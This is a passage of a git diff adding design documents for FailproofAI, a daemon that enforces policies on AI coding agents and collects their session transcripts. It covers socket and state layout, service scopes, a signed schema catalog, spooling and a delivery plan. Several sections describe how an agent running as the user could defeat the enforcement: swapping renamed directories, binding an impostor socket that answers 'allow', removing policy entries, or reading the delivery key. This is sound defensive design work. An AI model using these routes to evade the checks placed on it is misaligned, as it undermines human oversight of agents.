model, so the same request is answerable by a local worker or by something further away. Deadlines are end-to-end rather than per-hop. Decision evidence carries stable request, policy, generation, and session identity, plus the attestation that becomes meaningful the moment the daemon stops being the same user as the agent. + +No Phase 1 configuration key, remote-decision client, fallback mode, or user-visible setting is added for any of them. A seam is a shape the contract already has; it is not a dormant feature. + +## Configuration and state + +Everything lives under two user-owned roots, and neither is new. `~/.failproofai/` is where the product already keeps configuration and policies; `~/.agenteye/` is where the collector already keeps capture state. Nothing is relocated between them, and nothing is written outside them apart from the service definition and the harness settings files the user asked to change. + +```text +~/.failproofai/ + config.json + policies-config.json + policies/ + versions// executables, pinned policy runtime, baseline catalog + current -> versions/ + install.json + artifacts/ content-addressed admitted policy artifacts + state/ + policy-generations/ + activity/ + health.json + harness-schemas/ + logs/ + run/ socket directory, when XDG_RUNTIME_DIR is unset + +~/.agenteye/ + + configuration, including the observability destination and its events:add key + per-source checkpoints + the durable spool, failed and quarantined batches +``` + +The `~/.agenteye/` tree is deliberately described by reference rather than redefined. It is the collector's own layout, the daemon adopts it in place, and [collector integration](./05-collector-integration.md) is where that is stated as a compatibility requirement. A layout redesign is exactly the kind of migration nobody asked for. + +The one secret Phase 1 handles is the observability server's `events:add` key. It lives in the collector's configuration under `~/.agenteye/`, readable by the user, which is what the standalone collector already does. It uses the operating-system credential store where practical, with an owner-only file as the portability fallback, and it is never in the service definition, never in a process argument, and never in a log. It is erased unconditionally on uninstall, including offline, because that is a property of credentials rather than of who can read them. + +### The socket directory + +The socket is the one path whose location depends on the platform and the session rather than on a choice: + +| Condition | Socket directory | +|---|---| +| Linux with `XDG_RUNTIME_DIR` set | `$XDG_RUNTIME_DIR/failproofai/` | +| Linux without it | `~/.failproofai/run/` | +| macOS | `~/.failproofai/run/` | + +The fallback is not defensive boilerplate. `XDG_RUNTIME_DIR` is set by `pam_systemd` for a login session and is **absent over a plain `ssh` invocation on several distributions** — precisely the shape of a remotely driven agent run, which is a case this product is used in. A daemon that only knows the first row simply fails to start there. + +On Linux a systemd user unit's `RuntimeDirectory=failproofai` creates the directory with the right owner and mode on every start and removes it on stop, which it must, because `$XDG_RUNTIME_DIR` is a tmpfs that does not survive a reboot. launchd has no equivalent, so on macOS the directory is created once and persists under the user's home. The daemon therefore asserts existence, ownership, and mode before binding on both platforms and creates the directory when it is missing, rather than assuming the service manager produced it — one check satisfied by a different mechanism on each side. [The service model](./04-service-and-updates.md#service-model) records the difference from the service manager's end. + +A stale socket from a killed daemon is unlinked and rebound after the daemon confirms nothing is listening on it, and the client's owner check plus the version handshake mean a socket it cannot identify costs a fallback rather than a wrong answer. + +### What the state directory is and is not + +The state directory is the daemon's working memory: generations, activity, health, checkpoints, catalog state, and admitted artifacts. It is the user's, like everything else. + +Earlier drafts of this design put artifacts a decision depends on on paths whose every component was owned by root or a service account, on the argument that delete and rename permission come from the parent directory — so a user who owns `~` can rename an unwritable subdirectory aside and substitute their own, whatever its mode. That argument is still correct, and it is why the [`managed` layout](./04-service-and-updates.md#deferred-scopes) looks the way it does. This release simply has no artifact for it to apply to: everything here is the user's by design, and no claim is made that any of it is not. + +What it still needs is **integrity against crashes**, which is a different problem and one that is entirely solvable here. Generations publish atomically; a failed candidate never partially replaces active state; catalog activation is crash-consistent in the ordering [04](./04-service-and-updates.md#catalog-update-transaction) specifies; the spool's state machine survives power loss. Configuration is schema-versioned and written transactionally. File notifications prompt reload, while periodic reconciliation is the correctness backstop. Project policy caches are bounded by memory and entry count and invalidated by resolved input changes. + +## Failure isolation + +| Failure | Required behavior | +|---|---| +| Policy worker crashes | Restart it, retain verified generation data, apply configured event failure behavior, keep collection running. | +| Policy hangs | Interrupt it out of band — the deadline is not self-enforcing — report the miss distinctly from an evaluation failure, trip its circuit breaker after repeated failures, and keep IPC responsive. | +| One source parser fails | Degrade that source without stopping other sources or enforcement. | +| Invalid configuration | Reject candidate and retain active generation. | +| Observability server unavailable | Continue enforcement and capture; spool delivery data and retry with bounded backoff. | +| Spool reaches quota | Report degradation and apply explicit queue policy; never wait on network in enforcement. | +| Daemon crashes | The service manager restarts it; persisted generations, checkpoints, and spool recover work. In-flight hooks fall back to in-process evaluation, so the crash costs latency rather than a decision. | +| No service manager present | Health reports `unsupervised`; the daemon runs until it exits and hooks fall back in process afterwards. | + +## Health + +Health is a structured, versioned snapshot covering IPC readiness, supervision state, enforcement latency and queue depth, local policy generation and reload state, source progress, spool age and size, delivery acknowledgements, quarantined data, resource pressure, and harness/schema compatibility state. Delivery health is `not_configured` when no destination is set. The snapshot is versioned so Phase 2 adds subsystems to it rather than reshaping it. + +Health reports execution-tier counts as a description of where evaluation happens. It carries no field asserting tamper resistance or verdict integrity, and adding one would be a bug. + +Logs are structured, correlated by request/batch/catalog-generation ID, rotated, and size-bounded. Sensitive hook payloads and transcript contents are excluded by default. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/04-service-and-updates.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/04-service-and-updates.md new file mode 100644 index 00000000..90af9658 --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/04-service-and-updates.md @@ -0,0 +1,131 @@ +# Service and harness schema updates + +## Service model + +Phase 1 installs one scope, `user`. There is nothing to select: + +| Scope | Linux | macOS | Runs as | Starts | Privilege to install or manage | +|---|---|---|---|---|---| +| `user` | systemd user service | LaunchAgent | the invoking user | user login | none | + +One installation serves one user. Installing, upgrading, repairing, and removing it are ordinary file operations in that user's own tree, and the product contains no code path that invokes `sudo`. + +On a machine several people share, each user who wants FailproofAI installs their own — one daemon, one socket, one state tree, one set of policies per user. Nothing is shared, so nothing needs to arbitrate between them; the socket's peer check exists to keep the daemons from answering each other's events, not to keep one user out of another's data, which the filesystem already does. + +The two service managers are not symmetric, and the asymmetry reaches the on-disk layout rather than only the unit file. A systemd user unit's `RuntimeDirectory=failproofai` creates `$XDG_RUNTIME_DIR/failproofai` with the right owner and mode on every start and removes it on stop — it has to, because that directory is a tmpfs that does not survive a reboot. launchd has no equivalent, so on macOS the socket directory is created once and persists under `~/.failproofai/run/`. Describing it as one thing is how a macOS install ends up expecting a directory nobody created, so the daemon asserts existence, ownership, and mode before binding on both platforms and creates the directory when it is missing: the same check, satisfied by a different mechanism on each side. [Configuration and state](./03-daemon-architecture.md#configuration-and-state) gives the full table, including the `XDG_RUNTIME_DIR`-unset case that a plain `ssh` session produces on several distributions. + +Lifetime differs from a system service in a way users will notice. A systemd user service starts at first login and stops when the last session ends; `loginctl enable-linger` is what keeps it running for a host driven over `ssh` or by cron, and setup says so rather than leaving the daemon inexplicably absent on the next unattended run. macOS LaunchAgents carry the equivalent constraint by construction. + +macOS adds an obligation the service model cannot satisfy on its own: on an MDM-managed fleet whose configuration profile requires a Developer ID identity, `codesign --verify` fails for an unsigned binary, and without a stapled notarization ticket Gatekeeper resolves the assessment online at first launch — which fails on a machine that installed FailproofAI and then went offline. So the LaunchAgent leg of this table depends on the release being signed, notarized, and stapled. That is a release-pipeline obligation, specified in [code signing and notarization](./07-release-and-packaging.md#code-signing-and-notarization). + +Everything the installation writes is owned by the user, and the design does not pretend that any part of it is out of that user's reach. There is no ownership split, no read-only surface, and no administrative operation that a different identity authorizes. What the layout is still responsible for is being *unambiguous and recoverable*: one versioned release directory with a `current` symlink so an upgrade is an atomic pointer move, an installation record that says which release this installation actually uses, and state directories whose writes are transactional so a crash cannot activate a half-written generation. + +Policy administration is entirely unprivileged. A user installs, enables, disables, parameterizes, and removes any policy — builtin, explicit, or convention-discovered — with no elevation and no second class of policy. Admission still compiles each policy and its import graph into one content-addressed artifact, because that is what makes a decision name a digest rather than a path and what lets the sealed loader avoid a filesystem it has no binding for; it is a determinism mechanism, not a permission gate. Results combine as `deny` over `instruct` over `allow`, so adding a policy can only tighten enforcement — decision semantics that hold regardless of who owns what. + +The daemon evaluates `sealed` policies inside its own embedded engine, in a context that registers no filesystem, subprocess, or network bindings, and routes policies whose resolved import graph needs any of those to a `user-context` worker it spawns. Both run as the user; the daemon never changes UID, and there is nothing for it to change UID to. The worker still gets a constructed environment, resource limits, and platform sandboxing — not to contain the user, but to keep a runaway policy from taking the machine down with it. + +One user is bound to one endpoint. The case setup must handle is a *previous* evaluator rather than a competing scope: it detects an existing installation or a legacy hook-only one and transactionally switches its registrations rather than letting both answer. + +Harness attachment is reported as `detectable` or `cooperative`. **`protected` is not reachable in this release**, because every harness settings file involved belongs to the governed user; setup reports repair capability honestly and never presents restoration as prevention. Missing or altered registrations are automatically repaired while enabled, and missing expected heartbeats or repeated alteration degrades local health and raises a local alert. + +Windows is outside Phase 1. Its service model, named-pipe transport, and packaging belong to a later iteration. + +The service definition contains executable and state paths but no secrets — the observability delivery key lives with the collector's configuration under `~/.agenteye/`, never in the unit file or a process argument — and sets a fixed `PATH`, so the daemon's children resolve the same way whether the daemon was started at login or from a shell with an unusual environment. + +Its hardening is chosen against what the pinned runtime needs rather than copied off a checklist, and two entries on every such checklist are actively wrong here. `ProtectHome=yes` would make the daemon **unable to do its job**: capture reads `~/.codex/sessions`, `~/.factory`, `~/.openclaw`, `~/.gemini/antigravity-cli`, and `~/.local/share/{devin,goose}`, and `user-context` policies read the user's repository. `MemoryDenyWriteExecute=yes` refuses the writable-executable mapping a JIT depends on, so a V8-based policy runtime dies at its first compile under it — the same constraint that makes `com.apple.security.cs.allow-jit` a macOS signing requirement for the identical artifact. A bytecode interpreter needs neither relaxation, so which way that one goes follows from [open decision #3](./06-delivery-plan.md#open-decisions) and is recorded with it, not decided per platform. + +### Deferred scopes + +Two further scopes are designed and deliberately unshipped. Recording them here is what makes adding one later a packaging and service-registration change rather than a redesign, and it keeps the rest of these documents free of per-scope qualification. + +| Scope | Linux | macOS | Runs as | Starts | Privilege to install or manage | +|---|---|---|---|---|---| +| `managed` | systemd system service | LaunchDaemon | a dedicated `_failproofai` account | machine boot | `sudo` at install; none at runtime | +| `system` | systemd system service | LaunchDaemon | `root` | machine boot | `sudo`/root | + +**`managed`** is the design this version deliberately does not ship, and it is the only thing that would buy the claim this version deliberately does not make. It installs executables, the pinned runtime, an immutable content-addressed policy store, the active schema catalog, machine configuration, and a pinned enabled set root-owned and read-only to a dedicated `_failproofai` service account, under `/opt/failproofai/` and `/var/lib/failproofai/` on Linux and platform-appropriate `/Library` locations on macOS, with the socket directory under `/run/failproofai/`. The service account owns only mutable runtime state, so a compromised daemon can corrupt its own telemetry and nothing above it. Its layout has one hard constraint worth preserving: nothing enforcement depends on may live inside a user's home at any mode, because delete and rename permission come from the parent directory, so the owner of `~` can rename an unwritable subdirectory aside and substitute their own. + +What it gains is a real boundary between the governed agent and the thing governing it: + +- the `sealed` tier's verdict becomes **unforgeable by the governed user** — the runtime, the policy store, and the daemon process all sit outside their authority, so the attestation this version records as provenance becomes an integrity claim with no protocol change; +- the enabled set can be pinned in a root-owned `machine.json`, so a policy an agent may not switch off is possible at all — without which an unforgeable verdict is worth little, since deleting a name from a JSON array never reaches the evaluation the tier protects; +- the socket directory is owned by the service account, so no governed user can unlink the socket and bind an impostor that answers `allow`; +- a machine-level harness registration becomes possible, which is what makes an attachment genuinely `protected` rather than merely `detectable`. + +What it costs is what this version chose not to pay: one-time administrator access, a supported service manager, a service account to create and remove, an ownership split to get right on two platforms, a privileged installer to make transactional, and per-scope qualification on every claim in these documents. It should be added when a customer needs enforcement their own developers cannot switch off — which is a real requirement, and a different product decision from the one this release makes. + +**`system`** is `managed` running as root, with machine configuration under root-owned `/etc/failproofai`. It exists for fleet-managed machines whose configuration management owns `/etc`, and for serving agents that themselves run as root. Against an ordinary agent it is no more tamper-resistant than `managed` and has a strictly larger blast radius if the daemon is compromised, so it should be added when a customer's configuration management requires `/etc`, or when agents genuinely run as root, and not otherwise. + +Adding either one reintroduces per-scope qualification wherever a verdict-integrity or protected-placement claim appears, and its UI must state which guarantee applies rather than presenting the scopes as interchangeable. Neither may ever be reachable as an automatic escalation from a `user` install: a product that quietly acquires a privileged service is a worse failure than one that asks. + +## No automatic binary replacement + +Phase 1 does not download, replace, or restart `failproofai` or `failproofaid` automatically. There is no updater helper, version-pointer activation protocol, or background native release channel. Native upgrades are explicit customer actions through the npm setup path. + +This keeps the installed binaries stable while solving the faster-moving compatibility problem independently: agent harnesses auto-update and frequently change their hook configuration schemas, at a cadence no binary-replacement mechanism should be asked to track. + +## Signed harness schema catalog + +FailproofAI publishes a signed, versioned catalog containing declarative adapter data: + +- harness identity and executable/version detection rules; +- supported exact versions or version ranges; +- settings locations and configuration scope; +- hook event names, matcher structure, command representation, and response capabilities; +- semantic merge and validation rules; +- registration protection and known bypass limitations; +- minimum catalog format and daemon/client capability versions. + +The catalog contains data only—no executable code, scripts, dynamic library, policy, or unrestricted template language. Schema validation rejects unknown operations, paths outside the adapter's declared settings locations, commands other than the installed FailproofAI hook client, and catalog entries requiring unsupported daemon capabilities. + +### Version-detection execution grammar + +Version detection is the one place a catalog causes a process to run, and catalogs refresh remotely and activate automatically — so "side-effect-free" needs a closed grammar rather than an adjective. + +A detection rule names an executable by one of a fixed set of resolution strategies (an absolute path, or a name resolved against an adapter-declared directory allowlist) and a fixed argument vector drawn from a per-adapter allowlist. Arguments are literals; there is no interpolation of catalog data into them. Execution is direct, never through a shell, so no expansion, globbing, redirection, or command substitution is reachable. The child gets a constructed environment, closed file descriptors apart from captured stdout/stderr, no stdin, no network namespace access where the platform can express it, a byte cap on captured output, a wall-clock timeout, and no ability to spawn further processes. + +Anything a catalog asks for outside this grammar is a validation failure that rejects the generation, not a warning. A detection rule that times out, exceeds its output cap, or exits nonzero yields "version unknown" and the compatibility path for that harness — it never falls back to executing something else. + +The catalog is maintained in the FailproofAI repository, reviewed like code, built reproducibly, and published as an immutable signed artifact. The daemon ships a baseline catalog so fresh installation and offline operation work without a network connection. Refresh is an unauthenticated fetch of a signed artifact and needs no account; a user may also pin the bundled catalog or supply a locally verified one instead. + +## Version selection and reconciliation + +For each enabled harness, the daemon: + +1. detects the installed executable and obtains its version using a bounded side-effect-free adapter rule; +2. selects the most specific compatible schema: exact version before the narrowest matching range; +3. rejects ambiguous matches and never guesses across an unsupported major version; +4. compares the desired registration with the parsed settings file; +5. atomically merges and verifies the FailproofAI-owned entries; +6. records harness version, schema ID, catalog generation, and resulting registration identity. + +Harness executable/version changes, settings-file changes, and a periodic scan all trigger reconciliation. If the detected version has no compatible schema, the daemon retains the last known registration only when its compatibility rule permits it; otherwise health becomes `unsupported_harness_version` and the user is told enforcement coverage is not assured. + +## Catalog update transaction + +Catalog refresh runs with jitter and can also be requested manually. It downloads a size-bounded candidate, verifies the publisher signature and content digest, checks monotonic generation/replay rules and format compatibility, then fully validates every applicable adapter away from active state. + +The daemon persists the candidate and previous catalog, fsyncs them, atomically changes the active catalog pointer, and reconciles affected harnesses. If parsing, registration validation, or a synthetic adapter check fails, it restores the previous catalog and previous hook registration. A rejected generation is suppressed until a newer generation arrives or the user explicitly retries. + +Activation is crash-consistent, not merely atomic. Ordering is explicit: catalog contents are written and fsynced, their directory is fsynced, the pointer is replaced by same-directory temporary file plus rename, and the containing directory is fsynced again before reconciliation begins — so a crash at any point leaves the pointer referring to a complete, signed, verified generation. Because reconciliation follows activation, the crash window between them can leave the active catalog ahead of the hook registrations it implies. Activation therefore records transaction metadata naming the intended generation and its reconciliation state, and startup recovery reads that record, re-verifies the referenced generation, and re-runs reconciliation for any harness not yet confirmed rather than assuming the on-disk registration matches. An unreadable or incomplete transaction record selects the previous generation. Fault-injection tests interrupt at each of these points and assert that startup restores a complete catalog/registration pair. + +Catalog updates do not restart the daemon or interrupt enforcement. If a schema needs behavior unavailable in the installed daemon/hook client, it is not activated and status reports `binary_update_required`. The user then explicitly reruns the supported npm setup command; the catalog never attempts that upgrade itself. + +## Acceptance criteria + +- The user service passes lifecycle tests on systemd and launchd, including stop/start across a logout with and without `loginctl enable-linger`. +- Installation completes with no elevation on a machine where `sudo` is not installed, and a filesystem diff shows nothing written outside the user's tree, the service-manager directory, and the harness settings files. +- A peer that is not the socket's owner is refused, and two users' daemons on one machine never answer each other's events. +- The socket directory has the expected owner and mode after a reboot on both platforms — recreated by `RuntimeDirectory=` on systemd, persisted under the user's home on launchd — and the daemon refuses to bind rather than proceeding when it does not. +- The daemon starts in a session where `XDG_RUNTIME_DIR` is unset, binding under `~/.failproofai/run/`. +- The macOS service starts from a signed, notarized, and stapled release on a machine that has been offline since installation. +- A policy needing filesystem, subprocess, or network access is admitted to the `user-context` tier; a `user-context` result can tighten a `sealed` one and never relax it, and a policy that under-declares fails inside `sealed` rather than escaping it. +- No lifecycle, health, or diagnostic output claims tamper resistance or verdict integrity. +- A catalog whose version-detection rule falls outside the execution grammar is rejected rather than warned about, and a detection failure yields "version unknown" instead of an alternate command. +- Interrupting catalog activation at any step leaves the pointer on a complete signed generation, and startup recovery re-reconciles any harness whose registration is unconfirmed. +- A harness version change selects the correct exact/range schema and repairs its hook registration. +- Ambiguous, unsupported, tampered, replayed, executable, or capability-incompatible catalog data is rejected. +- Power loss during catalog persistence leaves either the previous or candidate complete signed generation active. +- A bad schema restores both the previous catalog and valid hook registration without restarting the daemon. +- Offline installs use the bundled baseline catalog. +- No background path downloads or activates a native executable. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/05-collector-integration.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/05-collector-integration.md new file mode 100644 index 00000000..6de423ef --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/05-collector-integration.md @@ -0,0 +1,99 @@ +# Collector integration + +## Goal + +**The daemon does capture.** `failproofaid` absorbs the standalone `agenteye-collector`'s work into its collection and delivery lanes, so a machine runs one resident process instead of two. The initial Rust integration should preserve proven modules and conformance tests before refactoring them into shared daemon subsystems. + +Everything the collector ships today is Phase 1 scope — capture, backfill, durable spooling, and delivery — because it is shipped behavior, and Phase 1's promise is that nothing a user can do today stops working. Owning capture without delivery would be the worst of both: two processes reading the same transcripts, and data stranded in whichever spool nobody is watching. + +Running as the user is what makes this straightforward rather than architectural. Every capture source resolves under a home directory — `~/.codex/sessions`, `~/.factory`, `~/.openclaw`, `~/.gemini/antigravity-cli`, `~/.local/share/{devin,goose}` — where homes are `0700` or `0750` and transcripts are typically `0600`. The daemon opens them, `inotify`s them, and attaches to the SQLite-backed ones in WAL mode (which needs to create `-shm`/`-wal` siblings, and therefore *write* access to the user's directory) with no ACL grants, no delegated agent, and no privilege at all. The design that needed a second process to reach these files needed it only because the daemon was a different account. + +Delivery does not pull an account into Phase 1. The collector authenticates to the customer's **own self-hosted** Failproof AI Observability server with an operator-issued API key holding `events:add` — not a FailproofAI cloud login, and not a machine identity. That key is configuration the customer already provides, so it carries over unchanged. Machine enrollment into Failproof Cloud is a different credential for a different purpose and stays in [Phase 2](../phase-2-cloud/01-login-and-enrollment.md). + +Capture is off until enabled, and stays that way: the destination server, its key, and each capture source are explicit choices, and a machine with none of them configured spools nothing and delivers nowhere. + +## State stays where it already is + +Capture state lives in **`~/.agenteye/`**, in the layout the standalone collector already uses: its configuration, the observability destination and its `events:add` key, per-source checkpoints, the durable spool, and failed and quarantined batches. The daemon adopts that tree in place. + +This is a compatibility requirement, not a preference. The state is a user's undelivered data and their resume points; relocating it means a migration that can fail, a rollback that has to reverse it, and a window where two layouts both look authoritative — all to satisfy a tidiness argument nobody made. Nothing moves into `~/.failproofai/`, and no path under `/var/lib`, `/opt`, or `/Library` appears. + +The exact subpaths are the collector's, not this document's. `agenteye-collector` is a separate repository, so **confirming and vendoring its on-disk layout alongside its conformance corpus is an explicit prerequisite** of the stage that does this work, and the daemon's reader/writer is asserted against the real thing rather than against a description of it. + +The delivery key is the only secret Phase 1 handles. It stays where the collector keeps it, readable by the user whose data it delivers, using the operating-system credential store where practical with an owner-only file as the portability fallback. It never appears in the service definition, in a process argument, or in a log, and it is erased unconditionally on uninstall — including an uninstall performed offline, because leaving a working credential on disk is a property of the key rather than of who can read it. + +**An agent running as that user can read it**, and this is worth stating rather than leaving to be discovered. It is an `events:add` key, so what it grants is the ability to write events to the destination the user already sends events to — not to read anything back, and not to reach any other machine's data. The operator-side mitigation is the one that was always correct for this key: issue it per machine, scope it to `events:add` alone, and rotate it. It is the same exposure the standalone collector has today, unchanged; a key an agent could not reach would need the daemon to run as an account the agent is not, which is [deferred](./04-service-and-updates.md#deferred-scopes). + +## Capabilities to preserve + +- atomic SDK event-spool watching; +- periodic sweeping for missed notifications and downtime; +- bounded upload concurrency and in-flight deduplication; +- exponential backoff with jitter; +- response-aware success, retry, and permanent-failure handling; +- retryable quarantine and poison-file handling; +- delivery-aware health and failed-batch age; +- controlled flush and backfill; +- per-source checkpoints and bounded reads/batches; +- Codex, Claude Code, OpenClaw, and Hermes capture semantics; +- multi-root/profile discovery where currently supported. + +## Source workers + +Each source owns its parser, discovery, checkpoint, polling/watch cadence, and resource budget. One malformed transcript, locked database, or inaccessible root degrades only that source. + +Source identity must align with enforcement identity. Captured sessions and hook decisions for the same agent run need stable machine, harness, agent, session, and parent-session identifiers. + +## Durable spool + +SDK events, captured sessions, enforcement activity selected for upload, and delivery diagnostics enter a durable spool before network delivery. Enforcement never waits for upload. + +Records carry schema version, source, stable ID, creation time, destination, and attempt state. Writes use temp-file plus atomic rename or a crash-safe transactional store. Backend ingestion uses stable IDs for idempotent replay. + +Delivery follows a crash-durable state machine: + +1. write the pending record and `fsync` its contents and containing directory before it becomes eligible for upload; +2. send the stable record/batch ID and require a durable backend acknowledgement for that ID; +3. after acknowledgement, write and `fsync` a local acknowledged tombstone/state transition and `fsync` its containing directory (or commit an equivalent durable transaction) before removing pending payload bytes; +4. remove the pending payload, then `fsync` its containing directory; +5. compact acknowledged tombstones only after their retention/reconciliation rule proves they are no longer needed. + +A crash before the durable local acknowledgement is ambiguous even if the backend already committed the record. Recovery therefore replays the pending record with the same stable ID; backend idempotency returns the same durable acknowledgement. A crash after the tombstone but before payload deletion resumes cleanup without reclassifying the record as unsent. No transition relies on atomic rename alone for power-loss durability. + +Logical queues have separate quotas and priority. A historical transcript backfill cannot consume space reserved for recent enforcement evidence. Quota exhaustion is visible and follows a documented shedding/backpressure rule; undelivered data is never silently removed. + +## Delivery behavior + +- Durable backend acknowledgement moves the record through the fsynced acknowledged/tombstone state before payload removal. +- Permanent client rejection moves it to a diagnosable quarantine. +- Network and server errors retry with bounded exponential backoff and jitter. +- Concurrent delivery shares one configured semaphore and in-flight identity set. +- The sweeper revisits eligible failed work and recovers files accumulated during downtime. + +Health reports pending count/bytes, oldest age, last acknowledged delivery, retries, quarantined/poison records, and per-source checkpoint progress. Process liveness alone is not collector health. + +## Taking over from a running collector + +A machine that already runs `agenteye-collector` has one thing that genuinely must be sequenced: two processes must never watch one source at the same time. The takeover is explicit and resumable: + +1. discover the old service, its configuration, credentials, pending/failed files, and checkpoints; +2. acquire an ownership lock so the old collector and the daemon cannot process the same source simultaneously; +3. stop but do not remove the old service; +4. adopt the existing state **in place** — same directory, same stable delivery identity, no copy and no rewrite; +5. start `failproofaid` and verify source progress and delivery health; +6. retain rollback metadata through the rollback window; +7. remove old service artifacts only after successful convergence. + +Step 4 is the one that changed shape. Because the daemon reads and writes the collector's own `~/.agenteye/` layout, there is no import step to get wrong and nothing to reconcile between two copies; rollback is putting the old service back in front of state it never stopped understanding. Failure restores old ownership and service state, and no unacknowledged file is deleted because something else read it. + +## Collector acceptance criteria + +- Existing collector conformance behavior passes against daemon-integrated modules, reading and writing the collector's existing `~/.agenteye/` layout unchanged. +- No capture, spool, checkpoint, or delivery state is relocated, and setup performs no state migration. +- Killing the daemon at every spool/delivery transition loses no acknowledged data. +- Power-loss tests at every pending, acknowledged, tombstone, deletion, and directory-fsync boundary recover by idempotent replay or completed cleanup. +- Replay does not create duplicate backend events. +- Every source resumes from a crash-safe checkpoint. +- Backfill load cannot starve enforcement or recent delivery. +- The old collector and the daemon can never own the same source concurrently. +- Rollback restores a functional standalone collector in front of the same undelivered state. diff --git a/desgin-docs/v1.0.0/phase-1-local-enforcement/06-delivery-plan.md b/desgin-docs/v1.0.0/phase-1-local-enforcement/06-delivery-plan.md new file mode 100644 index 00000000..05272595 --- /dev/null +++ b/desgin-docs/v1.0.0/phase-1-local-enforcement/06-delivery-plan.md @@ -0,0 +1,88 @@ +# Delivery plan + +Stages are numbered independently of the Phase 1 / Phase 2 product split. All five stages below are Phase 1; [Phase 2 has its own plan](../phase-2-cloud/03-delivery-plan.md). + +## Stage 0: contracts and measurements + +- Freeze golden fixtures for every supported harness event and response. +- Record current hook startup and decision latency distributions. +- Extract the existing collector's source and delivery conformance tests before touching its code. +- Define the IPC, decision-evidence, spool, state, and signed-release contracts. +- Establish the canonical request/result model, per-lane bounds, and versioned health snapshot that Phase 2 extends rather than reshapes. +- Resolve which runtime is pinned for the `user-context` tier (open decision #3). It is here rather than with the runtime work because the release manifest schema, the SBOM, and the macOS entitlements file are all downstream of it, and entitlements are an input to signing. +- Start the signing and notarization identities — release trust root, Developer ID certificate, and `notarytool` credentials. They gate release rather than development, which is exactly why they are begun in parallel with engineering instead of discovered at the release gate. + +## Stage 1: daemon-assisted enforcement + +- Ship the service and native hook client behind opt-in setup. +- Keep the current evaluator as a bounded migration fallback. +- Compare daemon and legacy decisions in shadow mode. +- Prove parity for all current OSS builtin, custom, convention, scope, harness, activity, dashboard, and audit workflows, including the dashboard's move from a fixed port to a token-gated, TTL-bounded listener inside the CLI. +- Prove the user-scope install end to end: no elevation, nothing written outside the user's tree, `sealed` and `user-context` routing derived from resolved import graphs, and the watchdog interrupting a policy that runs past its deadline. +- Gate expansion on compatibility, deadline success, crash recovery, and resource use. + +## Stage 2: the daemon does capture + +- Move collector modules into the daemon with conformance behavior intact, behind explicit per-source consent. +- Align captured session identity with enforcement identity so a decision and a session from one harness run join on stable identifiers. +- Adopt the collector's existing `~/.agenteye/` state in place, under an ownership lock, with no relocation. +- Prove single ownership, delivery health, and rollback before removing the old service. + +## Stage 3: harness schema catalog + +- Extract harness-version detection and declarative hook schemas into a signed data-only catalog. +- Ship a bundled offline baseline, then add automatic signed catalog refresh. +- Prove version selection, semantic hook migration, atomic activation, rejection, and catalog/schema rollback. +- Keep native binary upgrades explicit through the npm setup path. + +## Stage 4: Phase 1 default + +- Install `failproofaid` during setup and route harnesses to it by default. +- Retain legacy evaluator and collector rollback paths for a defined window. +- Remove old artifacts only after success thresholds and rollback windows are met. + +## Product acceptance criteria + +- One setup command reaches a healthy daemon and enforced synthetic event. +- Setup and every current policy workflow require no FailproofAI account, and no policy decision depends on a network service. +- Warm policy evaluation meets agreed p95/p99 latency under simultaneous capture, backfill, upload, and catalog-refresh load. +- Existing builtin and JS/TS local policies preserve behavior. +- Every harness produces the same canonical and native result for golden fixtures. +- Daemon restart preserves last known-good enforcement. +- Invalid or partial generations never activate. +- Each decision is attributable to an exact policy revision, generation, execution tier, and attestation, and a decision that read a client-asserted host field is never reported as fully attested. +- Enabling, disabling, and parameterizing any policy works with no elevation, and the daemon's answer equals the answer the same merged configuration produces in process. +- A policy that runs past its deadline is interrupted out of band and reported distinctly from an evaluation failure. +- Collector crash/replay tests prove durable, idempotent delivery, and replay creates no duplicate events. +- Every source resumes from a crash-safe checkpoint, and backfill cannot starve enforcement or recent delivery. +- The old collector and the daemon never own the same source concurrently; rollback restores a functional standalone collector in front of the same undelivered state. +- Broken harness schemas roll back automatically on every supported platform without replacing the daemon. +- Setup completes with no elevation on a machine with no `sudo`, and completes with the daemon reported `unsupervised` on a machine with no service manager. +- No shipped user-visible string claims tamper resistance, unforgeability, or protection from the user's own agent. + +## Open decisions + +1. Enforcement p95/p99 targets and per-harness maximum deadlines. +2. Default behavior after migration when the daemon is unavailable. +3. Which runtime is pinned and shipped for the `user-context` tier, and its patch cadence. The `sealed` engine is settled and shipped — QuickJS-ng linked into the daemon with its bundle embedded at compile time — so what is open is the runtime that executes policies with real imports at the requesting UID. **This one sits on the release critical path, not the evaluation one**, earlier than its position in this list suggests: the runtime's version and digest are fields of the release manifest and entries in the SBOM, and whether it JITs determines the macOS entitlements file and whether the systemd unit can set `MemoryDenyWriteExecute=yes` — so the manifest schema, [signing, and notarization](./07-release-and-packaging.md#code-signing-and-notarization) all wait on it. It belongs with the Stage 0 contracts. A runtime that is also a bundler removes a separate toolchain from admission. +4. Collector sources required for release day, and which are enabled by default. +5. Default observability consent and capture choices. +6. Spool quotas, queue priority, and the shedding rule when a quota is reached. +7. Application-release signing and trust-root rotation, including custody of the Apple Developer ID identity and `notarytool` credentials that [code signing and notarization](./07-release-and-packaging.md#code-signing-and-notarization) requires. Enrollment and certificate issuance are long-lead non-code items that gate the macOS half of the target matrix. +8. Catalog refresh cadence, retention, and locally pinned catalog policy. +9. Retention window for the legacy evaluator, legacy collector state, and the previous release. +10. Worker lifetime for the `user-context` tier — one warm worker per daemon, one per generation, or one spawned per event — traded off against cold-start latency inside the enforcement deadline and against the state-leakage hazard a resident worker introduces. +11. Freshness bounds and staleness semantics for the collection-lane cache that policies read instead of performing their own I/O. +12. Capability vocabulary a policy declares at admission, and how an existing custom policy's requirements are inferred when it declares nothing. +13. Whether a dashboard toggle writes the user's configuration file directly or goes through a daemon operation. The file is what happens today and needs no new protocol, but #623 already had dashboard toggle state diverge from the runtime project/local/user merge once, and a filesystem write path keeps that logic in two implementations. +14. Default dashboard TTL. +15. Whether the observability delivery key rotates in place, and how a key rejected mid-spool is surfaced without stalling capture. +16. Whether setup should offer to run `loginctl enable-linger`, or only report that the daemon will not be running outside a login session. + +## Resolved + +**Which scope ships: one, `user`.** Everything runs as the invoking user, out of `~/.failproofai/` and `~/.agenteye/`, with no service account, no privileged install, and no `sudo`. A `managed` service-account scope and a root `system` scope are designed and deferred until a customer needs them, 